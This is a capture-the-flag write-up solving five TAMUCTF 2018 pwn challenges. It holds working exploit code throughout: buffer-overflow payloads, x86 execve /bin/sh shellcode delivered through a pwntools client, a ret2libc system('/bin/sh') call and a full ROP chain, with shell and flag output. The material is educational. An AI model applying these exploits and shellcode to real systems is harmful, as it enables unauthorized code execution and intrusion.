Monday, February 26, 2018

TAMUCTF 2018 - pwn*


The following is a writeup for all pwn challenges found in TAMUCTF 2018:


Pwn 1


This challenges was a simple overflow of 23 bytes + 0xf007b411 (taken from a hardcoded compare). After the compare passes, it branches to 0x8048626 which calls the print_flag function.



$ python -c 'print "A"*23 + "\x11\xba\x07\xf0"' | nc pwn.ctf.tamu.edu 4321

This is a super secret program
Noone is allowed through except for those who know the secret!
What is my secret?
How did you figure out my secret?!
gigem{H0W_H4RD_1S_TH4T?}


Pwn 2


The second pwnable was similar to the first, but this time we're overwriting EIP with the function print_flag.

Running pwn2, we see it echos back some text by calling an echo function:

$ ./pwn2
I just love repeating what other people say!
I bet I can repeat anything you tell me!
AAAA
AAAA

We could also run this with ltrace showing the address of the gets, which will take us to the echo function [0x80485de]:

$ ltrace -i ./pwn2
[0x8048471] __libc_start_main(0x80485f6, 1, 0xffc22824, 0x8048650 
[0x8048618] setvbuf(0xf7751ac0, 0x2, 0, 0)                                                       = 0
[0x8048628] puts("I just love repeating what other"...I just love repeating what other people say!
)                                          = 45
[0x8048638] puts("I bet I can repeat anything you "...I bet I can repeat anything you tell me!
)                                          = 41
[0x80485cc] setvbuf(0xf7751ac0, 0x2, 0, 0)                                                       = 0
[0x80485de] gets(0xffc22679, 2, 0, 0AAAA
)                                                            = 0xffc22679
[0x80485f0] puts("AAAA"AAAA
)                                                                         = 5
[0xffffffffffffffff] +++ exited (status 0) +++

Looking at echo in Binary Ninja, again we see that it's vulnerable because of the gets function, which has no bounds checking:



Playing with the buffers until we hit EIP:

$ python -c 'print "A"*243 + "BBBB"' | strace -i ./pwn2 |& grep si_addr
[42424242] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x42424242} ---

Then we just insert the address of print_flag [0x804854b], using pwntools for packing:

$ python -c 'from pwn import p32; print "A"*243 + p32(0x804854b)' | nc pwn.ctf.tamu.edu 4322
I just love repeating what other people say!
I bet I can repeat anything you tell me!

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAK�
This function has been deprecated
gigem{3ch035_0f_7h3_p4s7}


Pwn 3


pwn3 is very similar to pwn2, but it has no print_flag function and ASLR was turned on for the server. Luckily there were no binary mitigations on this one:


First just running this binary we get:

Welcome to the New Echo application 2.0!
Changelog:
- Less deprecated flag printing functions!
- New Random Number Generator!

Your random number 0xffb837fa!
Now what should I echo? AAAA
AAAA

What's that 'random number' generated? It looks like a memory address. Looking in Binary Ninja we confirm it just points to our shellcode, Great!


We can see the EIP overwrite is 242 bytes in:

$ python -c 'print "A"*242 + "BBBB"' | strace -i ./pwn3 |& grep si_addr
[42424242] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x42424242} ---

Now we just need to leak the shellcode address, place some shellcode at the start of the buffer and overwrite EIP with the leaked address.

To do this, I wrote a small client:

#!/usr/bin/env python
from pwn import *

#r = process('./pwn3')
r = remote('pwn.ctf.tamu.edu', 4323)

NOP = '\x90'
SC = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'
LEAK_STR = 'Now what should I echo? '

def main():
  result = r.recvuntil(LEAK_STR)
  result = result.split('\n')[5].split('0x')[-1].rstrip('!')
  stack = result.decode('hex')[::-1]

  payload = SC + NOP * (242 - len(SC)) + stack
  r.sendline(payload)
  r.interactive()

if __name__ == "__main__":
  main()

Running we get a shell and cat the flag:

$ python pwn3-client.py
[+] Opening connection to pwn.ctf.tamu.edu on port 4323: Done
[*] Switching to interactive mode
1�Ph//shh/bin\x89�PS\x89�
                          ̀\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90:v��
$ cat flag.txt
gigem{n0w_w3_4r3_g377in6_s74r73d}


Pwn 4


In this challenge we get an interface to execute specific commands without arguments, but there's another gets we can take advantage of:


It looks like the binary has NX enabled:



We can use ret2libc to get a shell, first we need to find the gadgets for /bin/sh & system, pwndbg makes this simple:

pwndbg> p system
$1 = {<text variable, no debug info>} 0x8048430 <system@plt>
pwndbg> b main
Breakpoint 1 at 0x8048791
pwndbg> r
Breakpoint main
pwndbg> search /bin/sh
pwn4            0x804a038 u'/bin/sh'

That gives us 0x8048430 for system & 0x804a038 for '/bin/sh', then we just need to pad with the right offset. We find the EIP overwrite just as above:

$ python -c "print 'A'*32 + 'BBBB'" | strace -i ./pwn4 |& grep si_addr
[42424242] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x42424242} ---

Tying that all together, we get:

(python -c 'from pwn import *; print "A"*32 + p32(0x8048430) + "JUNK" + p32(0x0804a038)'; cat) | nc pwn.ctf.tamu.edu 4324
I am a reduced online shell
Your options are:
1. ls
2. cal
3. pwd
4. whoami
5. exit
Input> Unkown Command

cat flag.txt
gigem{b4ck_70_7h3_l1br4ry}


Pwn 5


This challenge is a statically linked x86 binary with NX enabled. After looking through the functions used, playing with it on the command-line, it doesn't take too long to find the vulnerability - another gets call:



First it would be nice to automate stdin for this challenge with a small PoC client:

#!/usr/bin/env python
from pwn import *
from struct import pack

r = process('./pwn5')
#r = remote('pwn.ctf.tamu.edu', 4325)

# requires tmux to run
context(terminal = ['tmux', 'splitw'])

def main():
  r.sendline('a')
  r.sendline('a')
  r.sendline('a')
  r.send('y\n')
  r.send('2\n')
  gdb.attach(r, 'c')
  r.sendline('AAAA')
  r.interactive()

if __name__ == "__main__":
  main()


We can see from the disassembly gets is storing our input in ebp-0x1c, if we add 4 for EBP we get to EIP, making our padding 32 bytes.

If we rerun our client replacing 'AAAA' with 'A'*32 + 'BBBB', we'll see a crash of 0x42424242 in gdb.

Next all we need to do is ROP! For this we can use Ropper to generate the ROPChain:

$ ropper --file ./pwn5 --chain execve

Dumping that into our existing client, we get:

#!/usr/bin/env python
from pwn import *
from struct import pack

#r = process('./pwn5')
r = remote('pwn.ctf.tamu.edu', 4325)

IMAGE_BASE = 0x08048000
rebase = lambda x : p32(x + IMAGE_BASE)

rop = ''
rop += rebase(0x00074396) # 0x080bc396: pop eax; ret;
rop += '//bi'
rop += rebase(0x0002b38a) # 0x0807338a: pop edx; ret;
rop += rebase(0x000a8060)
rop += rebase(0x0000d12b) # 0x0805512b: mov dword ptr [edx], eax; ret;
rop += rebase(0x00074396) # 0x080bc396: pop eax; ret;
rop += 'n/sh'
rop += rebase(0x0002b38a) # 0x0807338a: pop edx; ret;
rop += rebase(0x000a8064)
rop += rebase(0x0000d12b) # 0x0805512b: mov dword ptr [edx], eax; ret;
rop += rebase(0x000016b3) # 0x080496b3: xor eax, eax; ret;
rop += rebase(0x0002b38a) # 0x0807338a: pop edx; ret;
rop += rebase(0x000a8068)
rop += rebase(0x0000d12b) # 0x0805512b: mov dword ptr [edx], eax; ret;
rop += rebase(0x000001d1) # 0x080481d1: pop ebx; ret;
rop += rebase(0x000a8060)
rop += rebase(0x0009c325) # 0x080e4325: pop ecx; ret;
rop += rebase(0x000a8068)
rop += rebase(0x0002b38a) # 0x0807338a: pop edx; ret;
rop += rebase(0x000a8068)
rop += rebase(0x00074396) # 0x080bc396: pop eax; ret;
rop += p32(0xfffffff5)
rop += rebase(0x0001a407) # 0x08062407: neg eax; ret;
rop += rebase(0x0002b990) # 0x08073990: int 0x80; ret;

def main():
  r.sendline('a')
  r.sendline('a')
  r.sendline('a')
  r.send('y\n')
  r.send('2\n')
  r.sendline('A'*32 + rop)
  r.interactive()

if __name__ == "__main__":
  main()

Then we run it and cat the flag:

$ python pwn5-client.py
[+] Opening connection to pwn.ctf.tamu.edu on port 4325: Done
[*] Switching to interactive mode
$ cat flag.txt
gigem{r37urn_0f_7h3_pwn}